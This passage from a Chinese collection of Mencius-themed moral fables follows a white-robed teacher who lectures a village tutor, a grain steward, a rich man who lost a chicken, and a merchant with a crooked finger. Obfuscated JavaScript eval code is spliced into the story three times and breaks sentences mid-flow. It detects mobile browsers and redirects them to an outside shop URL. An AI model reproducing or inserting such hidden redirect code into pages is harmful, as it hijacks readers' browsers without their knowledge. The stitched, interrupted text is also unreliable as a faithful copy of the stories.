“那便学琴。”白衣人正色,“孟子谓‘为是其智弗若与?曰:非然也’,非智不若,是志不在此。今你二人,一志在琴,一志在射,强学弈,便是‘一暴十寒’。不若各从所好,专心致志。” 郝师冷笑:“依你言,天下人皆凭喜好,何来苦学成才?” “非凭喜好,是发真心。”白衣人声朗朗,“真心所向,自能专心;专心所致,自能成志。今你以三日强灌,学者无真心,便是‘一暴’,后必‘十寒’。譬如种禾,一日晒,十日冻,苗岂能生?” 言罢,木剑点地,划一圆: “一日暴兮十日寒, 苗枯根死实可怜。 但得真心向一事, 何愁金石不开穿。” 郝师拂袖而去。白衣人对二徒道:“从今日始,你二人上午学专心之法,下午金专心学琴,赵致志学射,三十日为限,如何?” 二人应诺。 二、 专心之道 白衣人授专心法,非教弈,乃教“止心”。 第一法:对弈一局,落子前须静坐三息,默念“此子为何落”。金专心初时焦躁,三日后渐静。赵致志更奇,射箭前静立三息,命中反增。 第二法:每日晨起,对镜自问“今日真心向何事”。金专心答“琴”,赵致志答“射”。 第三法:遇杂念,不强行驱,但观其来去。如赵致志习射时思弈,白衣人曰:“思弈便思弈,观此念,如观云过,莫随云去。”赵致志试之,果杂念渐少。 十日过,二人气度已变。金专心抚琴,可坐半日;赵致志射箭,百步穿杨。然对弈仍生涩,白衣人不急。 十五日,郝师暗窥,见金专心抚琴入神,赵致志射雁如戏,惊疑不定。 二十日,白衣人忽道:“今日你二人对弈一局。” 金专心一怔:“学生琴艺初成,弈道已荒…” “无妨,弈便是。”白衣人微笑。 对弈起,金专心落子缓慢,然步步扎实。赵致志反是灵动,时有妙手。终局,竟成和棋。 郝师冲入:“不可能!赵致志从前…” 白衣人截道:“从前他心在鸿鹄,今心在弈,自然不同。专心非缚于一物,是心在当下。他射箭时专心在射,弈棋时专心在弈,便是‘惟弈秋之为听’。今他虽初学,心在棋上,故能与你徒周旋。” 又对金专心道:“你亦是。你真心在琴,故抚琴时专心;今弈棋,便将抚琴之专心移来,故棋力反进。专心一道,通了百通。” 郝师怔然。白衣人问:“你可明‘一暴十寒’之害了?” 郝师垂首:“我…我误人子弟。” “非你一人之误。”白衣人叹,“今之世,多少父母师长,强子弟学其不喜,美其名曰‘为你好’。子弟装模作样‘一暴’,离了师便‘十寒’,终一事无成。此非子弟不才,是未得其真心也。” 遂在塾门题: “专心在志不在时, 一暴十寒实可悲。 但得真心向一事, 何须三日强作痴。” 题罢,郝师撕“三日成器”匾,改悬“真心致志”。 三、 弈秋之诲 三十日期至,白衣人设“三艺会”:金专心抚琴,赵致志射箭,终局对弈。 是日观者如堵。金专心奏《高山流水》,琴韵悠远,闻者落泪。赵致志百步外射香头,十发十中。众喝彩。 末了二人对弈。金专心执白,赵致志执黑。白棋厚重,黑棋轻灵。弈至中盘,赵致志忽出奇兵,金专心长考半柱香,落子化解。终局数子,金专心胜半目。 白衣人抚掌:“善!金专心胜在稳,赵致志胜在奇。你二人皆已得专心之道。” 赵致志拜问:“先生,我仍爱射雁,为何弈亦能进?” “孟子举弈秋为例,非谓必学弈,是谓学任何事,皆需专心致志。”白衣人答,“你射箭时,心在的;弈棋时,心在棋。此便是专心。专心非固守一物,是心在当下。你今射箭可专心,弈棋亦可专心,他日学文习武,皆可专心。此道一通,百事可成。” 金专心亦问:“学生从前学弈,心在账本;今学琴,心在琴。同是专心,何以异?” “前者是假专心,是强压;后者是真专心,是自然。”白衣人道,“真心所向,如水就下,不专心而自专;违心所学,如逆水行,强专心终溃。你今抚琴忘食,是真心发露,故能成。” 此时,金父、赵父皆至。金父原要斥子不务正业,闻琴音凛然,竟落泪:“我儿…我儿琴中有人。”赵父见子箭术,拍腿:“好!我赵家出神射!” 二子各得父允,从所好。 郝师对白衣人长揖:“谢先生点醒。从今我塾改‘真心塾’,不限三日,但问真心。” 白衣人还礼:“先生能改,善莫大焉。孟子叹‘吾见亦罕矣,吾退而寒之者至矣’,今先生不退,寒者自少。” 飘然欲去,众挽留。白衣人指天边雁阵:“我心在云水,不可留也。” 踏歌行: “一日暴兮十日寒, 苗枯何须怨天旱。 但得真心向一事, 金石为开鹏程宽。 专心在志不在久, 致志由心不由难。 劝君莫学三日沸, 要作百年深泉澜。” 歌声渐杳,人已不见。 四、 真心泉 郝师果改塾规,废“三日制”,立“真心斋”。学者入门,先问真心所向,再因志施教。有童爱画,允其画;有童喜算,教以数。不再强求一律。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088186|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金专心专攻琴艺,三年成名家,一曲《真心吟》,闻者忘忧。赵致志箭术通神,后从军,屡立战功,官至都尉。二人时相聚,一琴一箭,相和成趣。 景和十年,江陵大旱。金专心散家财赈灾,赵致志率兵运水。灾后,百姓感念,于三日塾旧址掘井,名“真心泉”,并立碑记其事。 碑阴刻《孟子》“一暴十寒”“弈秋诲弈”章句,碑阳铭郝师撰文: “昔有一暴师,误人以为痴。 幸有白衣客,点破真心谛。 专心不在久,致志由心契。 但得真情发,何愁事不诣。 今立此泉碑,鉴此诚与伪。 后来求学人,莫忘真心贵。” 泉成日,有白衣人现于泉边,掬水饮之,笑谓孩童: “此泉名真心, 饮之明尔志。 莫学一暴沸, 要做百年漪。” 孩童问:“如何做百年漪?” 白衣人指泉心:“泉不择地,真心不择事。你爱画,便专心画;爱算,便专心算。日日浸润,自然成漪,可泽百代。” 言罢,踏水而去,步步生莲。 自此,江陵学风大变。父母不强子弟所难,师长不责学生所短。有奇童爱雕虫,师允之,后成博物大家;有女喜机巧,父不阻,后成织造圣手。 人问其故,皆答:“真心所向,专心所致耳。” 而“真心泉”畔,常有学子静坐,对水自问: 我之真心,何在? 尾声鹏程碑 十年后,郝师卒,门人葬之于泉西山岗。金专心、赵致志为立“鹏程碑”,记白衣人事。碑文末云: “白衣先生,不知何来。其教专心,实指真心。昔我二人,一困于利,一迷于鹄。幸得指点,各从所好。专心于琴,琴成天籁;致志于箭,箭贯云霓。此非智力殊,是真心发露耳。 今世之人,或迫于名利,或溺于习俗,强己所难,苦不堪言。愿见此碑者,静问己心:所向何处?若得真心,便专心致志,莫问鹏程远近,但求涟漪不绝。 白衣有歌:‘劝君莫学三日沸,要作百年深泉澜。’谨录于此,以警来者。” 碑成,泉声淙淙,如琴如诉。 时有游学士子过此,饮泉读碑,问乡老:“白衣人真能点人真心?” 乡老笑指泉中影:“你低头看,泉中是谁?” 士子俯观,泉中自有己影,澄澈分明。 乡老曰:“真心不在外,在你心中。白衣人只是唤你自见罢了。” 士子恍然,对泉三揖,取水一壶,珍重而去。 泉畔柳,岁岁青青。 似在说: 真心如泉,莫让它涸。 专心如流,莫让它歇。 本章诫世 一、 一暴十寒之弊 - 强学无真心,如一日暴晒十日冻,苗必枯死 - 破解法:求学先问真心,莫迫于功利虚应故事 - 示例:金专心伪专心、赵致志心在鸿鹄,皆“一暴十寒”之态 二、 专心致志之真 - 专心非固守一物,是心在当下;致志非强忍,是真心发露 - 惕世:多少人看似专心,实是“伪专心”?多少“勤奋”,是无效挣扎? - 反思:教育之要,在启发真心,非强灌知识 三、 真心如泉之喻 - 真心如泉,涌流不息;伪心如沸,片刻即干 - 深层隐喻:人生成就,不在“暴”之猛烈,在“润”之持久 - 终极指向:找到真心所向,便是找到生命泉眼 一暴偈: 景和七年江陵秋,三日塾中起谬流。 一暴十寒苗枯死,真心致志泉长湫。 专心在志不在久,成事由心不由谋。 至今真心泉畔柳,犹拂行人问志酬。 后世叹: 大晋江陵三日塾,强教百艺成拙谋。 白衣点破真心谛,二子各从志好求。 琴成天籁因专志,箭贯云霓为致俦。 莫道世人多庸碌,不得真心空白头。 正是: 三日塾中妄授艺,一暴十寒苗枯毙。 白衣论志破迷障,二子从心各展骥。 专心在志何论久,致志由心岂拘契? 泉碑至今映行人,真心如水长流世。 35. 本心谳 楔子嗟来食 大梁天佑三年,河间府饥。富户开粥棚赈济,有管事姓苟,名得利,立规矩:凡领粥者,须跪叩谢恩,呼“老爷万寿”。饥民为活命,多屈从。 独有一老儒,名孟义,携孙行至棚前,闻此规,转身即走。管事嗤道:“饿死事小,跪叩事大乎?”老儒回眸:“呼尔而与之,行道之人弗受。蹴尔而与之,乞人不屑也。此孟子所言。今尔等以粥挟人,与呼尔蹴尔何异?”言罢,踉跄而去。 是夜,孟义饿倒城隍庙,孙儿啼哭。忽闻脚步声,见一白衣人,斗笠面纱,携瓦罐至,内盛热粥,无声置地,转身欲走。 孟义强撑:“恩公…留步。敢问高姓?” 白衣人回首:“行道之人,何必留名。”其声清越,竟辨不出男女。 孟义泣道:“老朽宁饿死,不受嗟来食。今恩公默然施粥,是存我颜面,此恩…” “非我存你颜面,是你自存本心。”白衣人声转肃然,“孟子曰:‘一箪食,一豆羹,得之则生,弗得则死,呼尔而与之,行道之人弗受;蹴尔而与之,乞人不屑也。’你今日不受辱粥,便是存此心。我敬你,故默施。” 孟义饮粥毕,稍有气力,问:“本心人人有乎?” “有。”白衣人负手望月,“贤者能勿丧耳。然今世多少人,为一饭可跪,为万钟可屈,此谓失其本心。” 正说间,庙外人声喧哗。管事苟得利率家丁追至,指孟义骂:“老穷酸!日间辱我,夜里偷粥?” 白衣人挡前:“粥是我施,何谓偷?” 苟得利打量白衣,见其粗布木剑,嗤笑:“你施?你自身难保,还充善人!来人,拿下这厮,送官治个煽惑饥民之罪!” 家丁涌上。 一、 鱼与熊掌 白衣人不退反进,木剑未出鞘,只身形飘忽,众家丁扑空相撞,滚作一团。苟得利惊退:“你…你是妖人?” “非妖,是行道之人。”白衣人声转朗,“孟子云:‘鱼,我所欲也,熊掌,亦我所欲也;二者不可得兼,舍鱼而取熊掌者也。’今有一问:生,你所欲也;尊严,亦你所欲也。二者不可得兼,你取何?” 苟得利愣住。 “你定取生,对否?”白衣人自问自答,“因你以为,尊严可换生。然孟子又云:‘生亦我所欲,所欲有甚于生者,故不为苟得也。’此‘甚于生者’,便是本心。今你以粥挟人跪叩,是迫人舍本心以苟生。此与夺人性命何异?” 苟得利强辩:“我施粥救人,何错?” “救人无错,辱人有错。”白衣人厉声,“你非救人,是买人尊严!今饥民为生跪你,他日你为财跪官,为命跪贼,层层相迫,世道何存?” 转对众饥民:“诸位!今日为粥跪人,明日便为银跪盗,后日或为命跪匪。本心一失,层层下坠,终成行尸走肉。孟子曰‘此之谓失其本心’,便是此理!” 饥民中有壮汉名钟万,原已屈膝,闻言豁然起身,掷破碗于地:“老子宁饿死,不跪了!” 一呼百应,众饥民皆弃碗。苟得利面如土色。 白衣人取一锭银予孟义:“老丈携孙往南,三十里外有善人设棚,不辱人。” 又对苟得利道:“我今日不惩你,只问你:若有人以万两金,换你跪叩学狗吠,你跪否?” 苟得利汗出:“我…我…” “你犹豫,是因本心尚存一线。”白衣人叹,“莫等本心尽丧,悔之晚矣。” 拂袖而去,踏月行歌: “鱼与熊掌不可兼, 生与义兮孰为先? 本心自有天平在, 莫为苟得丧尊严。” 歌声渐远,饥民皆泣。钟万对众抱拳:“诸位,咱有手有脚,何必跪求?愿随我往南山采蕨者,同去!” 百余人呼应,相扶而去。苟得独立于空棚下,粥香扑鼻,却无人至。 二、 万钟之惑 三日后,河间首富金满堂做寿,广发请帖。苟得利备厚礼往贺,欲谋管家职。至金府,见宾客盈门,贺礼堆积如山。 寿宴开,金满堂举杯:“今日老夫寿辰,有献奇珍者,赏百金!” 众客争献。有献玉佛者,有献珊瑚者。忽一人献“百寿图”,乃百名乞丐各书一寿字拼成。金满堂不悦:“乞丐手书,污我寿堂!” 献者谄笑:“此谓‘百丐贺寿’,讨个彩头。” 金满堂转怒为喜,赏二百金。 苟得利暗悔礼薄,忽生一计,出府至破庙,寻得老丐数人,许每人十文,令其明日往金府前跪拜贺寿,号“千丐来朝”。 是夜,苟得利宿客栈,梦白衣人至,厉声问:“日间闻百丐贺寿,你欲效之乎?” 苟得利惊起,见窗开月明,杳无人影,然冷汗透衣。 次日,金府前果集千丐,匍匐呼寿。金满堂大喜,重赏苟得利,擢为二管家。苟得利得意,忽瞥见丐群中有昨日庙中饥民,羞愧低头。 正此时,白衣人现于街角,木剑指向府前匾额“积善之家”,朗声诵: “万钟则不辩礼义而受之,万钟于我何加焉?为宫室之美、妻妾之奉、所识穷乏者得我与?” 诵毕,问金满堂:“金老爷,你受此‘千丐贺寿’,可辩礼义否?” 金满堂怒:“哪来的狂徒!来人!” 白衣人不理,续诵孟子文:“乡为身死而不受,今为宫室之美为之;乡为身死而不受,今为妻妾之奉为之;乡为身死而不受,今为所识穷乏者得我而为之:是亦不可以已乎?此之谓失其本心。” 转向苟得利:“苟管事,你今为管家之位,迫丐跪拜,与昔日以粥挟人跪叩,孰轻孰重?不过五十步笑百步耳!” 又对众丐:“诸位!你等今日为十文跪,明日或为五文跪。本心渐丧,终至人非人。孟子言‘非独贤者有是心也,人皆有之’,你等本心,真愿跪否?” 丐群中,一老丐颤巍巍站起,掷钱于地:“老子…老子不受这辱!” 一丐起,百丐随。顷刻间,千丐散去大半。 金满堂气急败坏,命家丁擒白衣人。白衣人长笑,木剑出鞘,不击人,只点地。青石板上火星四溅,现出十六字: “万钟何加,宫室何美? 本心一失,人不如鬼。” 写罢,纵身上檐,歌曰: “生亦所欲义更珍, 死亦所恶辱尤深。 莫为万钟丧本心, 留取清气满乾坤。” 歌绝人杳。 金满堂怔立,忽觉贺寿喧哗,索然无味。 苟得利怀揣赏银,如握烙铁。 三、 乡与今 旬日后,河间知府设“劝善宴”,邀士绅捐银修桥。金满堂为博官声,捐五千两,知府亲题“乐善好施”匾。 宴中,有书生名文守义,献《拒金赋》,叙古时贤者拒贿事。知府不悦:“今太平盛世,何来贿事?扫兴!” 金满堂会意,讽道:“文秀才清高,然令堂卧病,无钱抓药,清高可治病否?” 文守义面红,强道:“君子固穷…” “穷且益坚?”金满堂冷笑,取百两银票拍案,“此银赠你抓药,只需你当众诵《贺知府德政颂》,可愿?” 满堂寂然。文守义望银票,手颤。母病重,等银救命。 忽闻梁上有人叹:“乡为身死而不受,今为…唉。” 众惊视,见白衣人坐梁间,不知何时而至。 知府拍案:“又是你!” 白衣人跃下,径至文守义前:“文兄,昔日饿倒不受嗟来食,今可愿诵谀词受百金?” 文守义垂首:“我…我…” “我知你难。”白衣人声转温和,“孟子设此问,非责常人,是醒常人。‘乡为身死而不受’,谓人本有廉耻心;‘今为宫室之美、妻妾之奉、所识穷乏者得我而为之’,谓人渐失本心。今你为母病受金,情有可原,然需自问:受金之后,可会为更多金,作更多违心之事?此端一开,如堤溃蚁穴,终至本心尽丧。” 文守义泪下:“先生教我!” 白衣人自袖中取一锭银:“此银赠你,不附条件,但望你母安康。然那百两谀词银,不可受。因今日受百两诵谀词,明日或受千两作伪证,后日或受万两害人命。本心之失,常自‘不得已’始。” 文守义拜受,掷还金满堂银票:“学生宁穷,不受此银!” 金满堂恼羞成怒:“知府大人!此妖人惑众,当拿下!” 知府正要发话,白衣人忽直视其目:“大人,三年前你任知县时,有百姓赠‘明镜高悬’匾,你悬于堂上。今可还常对匾自省?” 知府一震,汗出如浆——彼时他确清廉,今则… 白衣人朗声道:“诸公!孟子之言,如暮鼓晨钟。非责你等已失本心,是唤你等将失未失之本心。金满堂,你可记得第一桶金如何得来?苟得利,你可记得首次屈膝是何感受?知府大人,你可记得初仕时抱负?” 三人皆色变。 “记不得无妨。”白衣人叹,“只怕不愿记,不敢记。本心非一次尽丧,是次次妥协,点点磨损。今日宴饮,诸公不妨自问:昔年寒窗时、落魄时、初志时,与今相比,本心剩几许?” 满堂权贵,竟无人应。 白衣人掷一纸于地,飘然而出。纸上有诗: “鱼熊自古难兼得, 生死原来有重轻。 万钟易夺志士节, 一饭能显丈夫贞。 乡为身死全洁义, 今因利诱竟折肱。 劝君常拂心台镜, 莫使尘埃蔽月明。” 宴遂不欢而散。 是夜,知府独坐书房,对“明镜高悬”旧匾,坐至天明。 四、 勿丧耳 文守义母病愈后,设蒙馆教书,束脩随缘,贫者免费。一日,有富家子来学,遗金袋于馆。文守义追还,富家子疑:“内百两,少否?”文守义正色:“非但未少,还多二两,可是你记错?”富家子赧然,拜服。 此事传开,蒙馆生员日增。文守义每授课,必讲“本心”,曰:“富贵不能淫,贫贱不能移,非独圣贤可至,常人持守本心,亦可庶几。” 忽忽三载,河间大旱,蝗灾继之。金满堂囤粮居奇,价翻十倍。饥民聚其仓前,哭嚎震天。 金满堂命家丁放弩,僵持间,白衣人忽现粮垛上,朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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今立此泉,非颂白衣,乃警世人:本心如泉,人皆有之。然利欲如沙,日积月累,可塞泉眼。愿汲泉者,自问本心:昔年初心何在?今日可曾蒙尘? 孟子曰‘贤者能勿丧耳’,我辈虽非贤者,然常拂拭,或可不丧。泉涌不息,本心长明。” 泉成日,有白衣人现,掬饮讫,问文守义:“今时今日,若再有嗟来之食,你受否?” 文守义揖:“不受。然学生当效先生,默施于人,存人体面。” “善。”白衣人颔首,“本心非仅不受,亦在不施辱。你已得之。” 又问围观童子:“若你饥,一人呼尔而与之食,一人默置食而去,你取何?” 童答:“取默置者。” “为何?” “呼尔者辱我,默置者敬我。” 白衣人抚掌大笑:“童心即本心!诸君,莫忘此童子言。” 踏歌而去: “鱼熊生死义利间, 本心自有秤一杆。 万钟可夺俗子志, 一饭能显丈夫肝。 常拂尘埃见明月, 莫使利欲障青山。 泉涌千年犹清澈, 照人肝胆照人丹。” 自此,河间有俗:凡有争讼,长者先问“可对得起本心泉”;凡有义举,乡誉“不负本心泉”。 泉畔杨柳,岁岁青青。 时有游子归乡,先至泉边,饮一口,问一句: 我之本心,可还清澈? 本章诫世 一、 取舍见本心 - 鱼与熊掌、生与义之择,显本心轻重 - 破解法:遇两难时,莫只看眼前得失,要问本心“孰重” - 示例:孟义宁饿死不受辱,文守义宁贫不受谀金,皆存本心 二、 渐丧之危 - 本心非一时尽失,是次次妥协中渐丧 - 惕世:多少“不得已”,实是丧心之始?多少“小妥协”,终成大溃堤? - 反思:回望初心,与今相比,本心剩几许? 三、 勿丧之道 - 贤者能勿丧,常人当常拂拭 - 深层隐喻:本心如镜,需勤拂拭;如泉,需常疏浚 - 终极指向:人人皆有本心,重在“勿丧”功夫 本心偈: 天佑三年河间饥,嗟来食前现白衣。 鱼熊生死明取舍,万钟得失辨毫厘。 乡为身死全洁志,今因利诱竟折仪。 至今本心泉畔月,犹照行人浣尘缁。 后世叹: 大梁河间逢凶年,富户施粥辱在前。 白衣论心醒众寐,孟生守义全其坚。 万钟易夺俗子志,一饭能彰丈夫肝。 莫道本心贤者独,常人拂拭亦朗然。 正是: 河间饥岁粥棚开,跪叩方得米一粒。 白衣振聋论本心,灾民掷碗全其义。 鱼熊取舍见轻重,生死抉择显端倪。 至今泉涌清如许,长教行人浣尘衣。 36. 放心谳 楔子丢鸡记 大凉乾元二年,洛州有富户朱守财,晨起失鸡,阖府翻找,三进院落掘地三尺。至午,鸡自后院柴垛出,朱守财抚鸡喜极:“失而复得,幸甚!” 是夜,朱府宴客庆贺。席间有老儒叹:“朱公重一鸡,轻一心,可叹也。”朱守财不悦:“先生何出此言?” 老儒曰:“孟子云:‘人有鸡犬放,则知求之;有放心而不知求。’今公鸡失而知求,心失久矣,可曾求乎?” 满座愕然。朱守财拍案:“我心在此,何曾失?” 忽闻梁上有人轻笑:“心在否,扪心自知。” 众惊视,见一白衣人斜倚梁间,斗笠面纱,木剑横膝,不知何时而至。 一、 求鸡与求心 朱守财怒道:“阁下何人?竟效鼠辈潜梁!” 白衣人飘然下地,点尘不惊:“行道之人。适才闻孟子语,心有所感,特来一问:朱公寻鸡,遣仆几人?” “十人!” “费时几何?” “半日!” “若寻心,当遣几人?费时几何?” 朱守财语塞。白衣人踱步堂中,朗声道: “孟子曰:‘仁,人心也;义,人路也。’今观朱公,心在何处?可是在算盘珠上,在田契账册中,在金银窖藏里?此非心,是心外之物。真心安在?” 朱守财强辩:“我…我仁心常在!上月还施粥…” “施粥时,心在粥棚,还是心在‘乐善好施’名?”白衣人截道,“孟子谓‘舍其路而弗由,放其心而不知求’,公舍仁义之路不由,放仁心而不求,却为失鸡大动干戈。此非本末倒置?” 一客起身揖问:“敢问先生,心如何放?又如何求?” 白衣人指堂外月:“诸公请看,鸡犬放,在柴垛,在街巷,有形可寻。心放,在何处?” 众皆茫然。 “心放,在名利场,在是非堆,在得失计较中。”白衣人声转清越,“鸡犬放外,身不安;心放外,神不守。今朱公坐拥万金,可曾夜半自问:我为何喜?为何忧?喜忧为外物所牵,便是心放于外。孟子言‘学问之道无他,求其放心而已’,谓学问不在穷经,在将放逸之心收回本位。” 朱守财冷汗涔涔,跌坐椅中。 二、 三放心 白衣人邀众至庭中,指月下三物: “今效孟子,设三喻,明‘放心’之状。” 其一,指金鱼缸:“此缸中鱼,朱公以珍珠粟米饲之。鱼终日绕缸,争食嬉戏,以为天下尽在缸中。此是放心于‘安逸享乐’,忘江河之广。” 其二,指账房窗:“窗内算盘声日夜不绝。朱公心在锱铢,毫厘必较。此是放心于‘得失利害’,忘仁义之本。” 其三,指门前石狮:“石狮威严,朱公出入见之,自觉体面。此是放心于‘虚名浮誉’,忘赤子之心。” 言罢,问朱守财:“三放心,公占几样?” 朱守财颤声:“三…三样俱全。” “既知放心,当知求心。”白衣人自怀中取一铜镜,“此镜名‘鉴心’,公可自照。” 朱守财对镜,初时只见己面,渐觉镜中影模糊,竟现种种过往:少年时拾金不昧,还人钱袋;壮年时为三厘利,逼死佃户;上月施粥,心中算计“可抵税银”… “啊呀!”镜脱手,碎作数片。朱守财掩面泣:“我…我心竟如此污浊!” 白衣人拾碎片,拼凑成圆:“镜碎可圆,心放可收。公今知放心,便是求心之始。” 又对众客:“诸位可愿自查?” 有客讪讪退,有客垂首。唯老儒上前:“老朽…亦有放心处。放心于诗词虚文,忘日用伦常。” 白衣人颔首:“能知便是求。今夜月明,诸公何不暂放外物,静坐片刻,问心在何处?” 满庭三十余人,竟真各寻角落,默然静坐。唯闻虫鸣风吟。 一炷香后,朱守财睁眼,泪流满面:“我…我见十岁时,父教我‘做人要心安’。今几十年,何曾安过?” 白衣人温言:“心放久矣,求之非一日功。公愿从今日始,每日静坐求心否?” “愿!” 三、 求放心 白衣人留洛州七日,开“求心草堂”,不授经,不讲课,只教“求放心”三字。来者不问身份,皆可入坐。 第一日,来三十人。白衣人教“静坐观心”:闭目,不想过去,不思未来,只观此刻呼吸。有富商坐片刻即躁:“不想生意,心慌!”白衣人曰:“此正是心放于生意。且观此慌,从何起,往何去。” 第二日,来五十人。有衙役坐中频顾腰牌,白衣人问:“心在牌否?”衙役赧然:“总想缉盗立功。”白衣人曰:“心放于功,则见人皆盗。收心回腔,方见人皆人。” 第三日,来百人。有寡妇泣诉:“心放亡夫,日夜煎熬。”白衣人道:“心放于过去,如舟系枯桩。非不让念,是莫为念所缚。且观此念,如云过天,不拒不随。” 至第七日,草堂内外坐满三百人。朱守财忽起身,对众长揖:“诸君,我有一事忏悔。去岁城南王二欠租,我夺其田,致其自尽。我放心于利,害人性命。今愿还田于其子,并偿百金。” 满场肃然。王二子恰在座,闻言大哭,竟扶起朱守财:“朱公既悔,我父可瞑目矣。” 又有多人起而忏悔:有书生认冒名文,有商贾认以次充好,有胥吏认索贿刁难…草堂竟成“悔心堂”。 白衣人叹道:“诸君能悔,便是求心。孟子言‘求其放心’,非求外物,是求回本心。本心在,仁自在,义自行。” 取木剑,于草堂土墙刻: “鸡犬放外尚知求, 心放利名不知收。 但得片刻回光照, 便是人间第一流。” 刻罢,对众一揖:“诸君已得求心之法,可自修持。我当去矣。” 众挽留。白衣人指心:“我在诸君心中,莫向外寻。” 飘然出城。 四、 草堂薪传 白衣人去后,朱守财真还田赔金,散家财之半设“求心义仓”,荒年借贷,丰年偿还,不收利息。又改宅邸为“求心草堂”,容人静坐。 王二子感其诚,助管义仓,后成洛州善人。 那老儒号“悔庵居士”,长住草堂,撰《求心录》,记忏悔事百余则,中有警句: “求放心,如牧羊。 羊放山坡,易逐草远; 心放欲海,易随波逝。 牧羊者时时点数, 求心者刻刻回光。” 草堂渐成风气。每逢朔望,士农商贾皆来静坐,半日不语,但求放心。有顽童问:“静坐何用?”守堂叟答:“如磨镜。镜蒙尘,照物不清;心蒙尘,行事皆昏。静坐是磨心镜,磨得清明,自见仁义。” 乾元五年,洛州大疫。草堂人皆出,施药施粥,不避疫秽。有问:“不怕死乎?”答:“心在救人,何暇怕死? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088188|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”疫过,草堂无人染病,人皆称奇。 朱守财寿终,遗命薄葬,墓碑只刻“求心人”三字。送葬者数千,皆白衣静默,不哭不喧,但合十心送。路人叹:“此真求心之效。” 尾声心灯碑 又十年,草堂老儒卒。门人于堂前立“心灯碑”,刻孟子“求放心”章句。碑阴有跋: “昔有白衣客,振聋发聩,教人求放心。朱公首倡,悔庵继之,洛州风气为之一变。今立此碑,非颂其人,乃警来者:鸡犬放,不过失财;放心放,则失人本。 学问之道,在求放心;处世之道,在安此心。愿见碑者,每日自问:心在否?放何处?可求回否? 但得一念回光,便是心灯复明。” 碑成夜,有童子见白衣人立碑前,以手抚字,轻笑:“善。” 童子问:“先生,心可永不放乎?” 白衣人答:“心非木石,焉能不动?然放则知,知则求,求则回。如灯被风拂,明灭不已,然灯芯在,终可复燃。但莫让风大熄芯,便是功夫。” 又指碑上“求”字:“此字最要。不因放过而馁,但因求回而勇。千古圣贤,不过是个肯回头、肯求心的常人。” 言罢,踏月而去。童子追出,唯见碑上月影,澄澈如水。 自此,洛州人家,多悬“求心”字幅。有子弟远行,父母不嘱“发财”,但嘱“求心”;有友朋相聚,不劝酒,但劝“回光”。 时有游学士子过洛州,见满城清肃,问乡老:“此地无讼狱乎?” 乡老笑指心灯碑:“有讼,先求心。心平了,讼自息。” 士子叹服,临行掬“心灯井”水一壶,曰:“归乡若迷,饮此水,或可求心。” 井水甘冽,至今不竭。 似在说: 心放了,不怕。 怕的是,放了不知,知了不求。 求,便是回家的路。 本章诫世 一、 鸡心之喻 - 人重失鸡,轻放心,是本末颠倒 - 破解法:遇事焦躁时,先自问“心放何处”,莫只外求 - 示例:朱守财大张旗鼓寻鸡,对放心数十年浑噩不觉 二、 放心之态 - 放心于安逸、得失、虚名,皆失本心 - 惕世:多少忙碌,实是“放心”奔逐?多少焦虑,实是“心放”难收? - 反思:终日外求,可曾片刻内观? 三、 求心之功 - 求放心非玄虚,是日常功夫 - 深层隐喻:教育根本在教人“求放心”,非填塞知识 - 终极指向:人人皆有本心,只需肯回头、肯求索 放心偈: 乾元二年洛州秋,朱公失鸡闹不休。 白衣振聩明放心,草堂静坐悟回头。 鸡犬放外尚知觅,心放利名竟忘收。 至今心灯碑前月,犹照行人问沉浮。 后世叹: 大凉洛州朱氏门,失鸡求索动四邻。 白衣指心破迷障,士民静坐洗尘昏。 放心容易求心苦,回光艰难守真淳。 莫道圣贤遥难及,一念肯求即道存。 正是: 洛州富户失鸡喧,白衣论心醒愚惛。 鸡犬放外尚知觅,仁义舍焉竟忘源。 静坐草堂观呼吸,回光尘镜鉴本源。 至今心灯碑犹在,长照人间放心魂。 37. 屈指谳 楔子屈指记 大燕景隆四年,青州有富商姓金,名如玉,家财万贯,然右手无名指微屈,不能伸直。为此遍访名医,自幽州至交趾,三载不辍。有医者云:“此指屈而不伸,于饮食起居无碍,何苦奔波?”金如玉怫然:“指不若人,吾深恶之!便赴天涯海角,亦要治之。” 是岁秋,闻西陲有神医,擅正骨,金如玉携重金往求。途经云梦泽,遇暴雨,避入荒庙。庙中有数乞儿围火取暖,见金翁锦袍玉带,纷纷侧目。 金翁嫌其污秽,远坐廊下,自怀中取出丝帕,反复擦拭屈指,长吁短叹。 忽闻佛龛后有人诵: “指不若人则知恶,心不若人竟不觉。 可叹世上金如玉,秦楚路远为指拙。” 金翁惊起:“何人?” 但见一白衣人自梁上飘落,斗笠面纱,背负木剑,襟袂飘飘,不沾尘埃。 一、 屈指与屈心 金如玉打量来人,蹙眉道:“阁下适才所言,是讥老朽乎?” 白衣人倚柱而立:“不敢。只是想起孟子一言:‘今有无名之指屈而不信,非疾痛害事也,如有能信之者,则不远秦楚之路,为指之不若人也。’今见翁为屈指奔波万里,正合此境。” 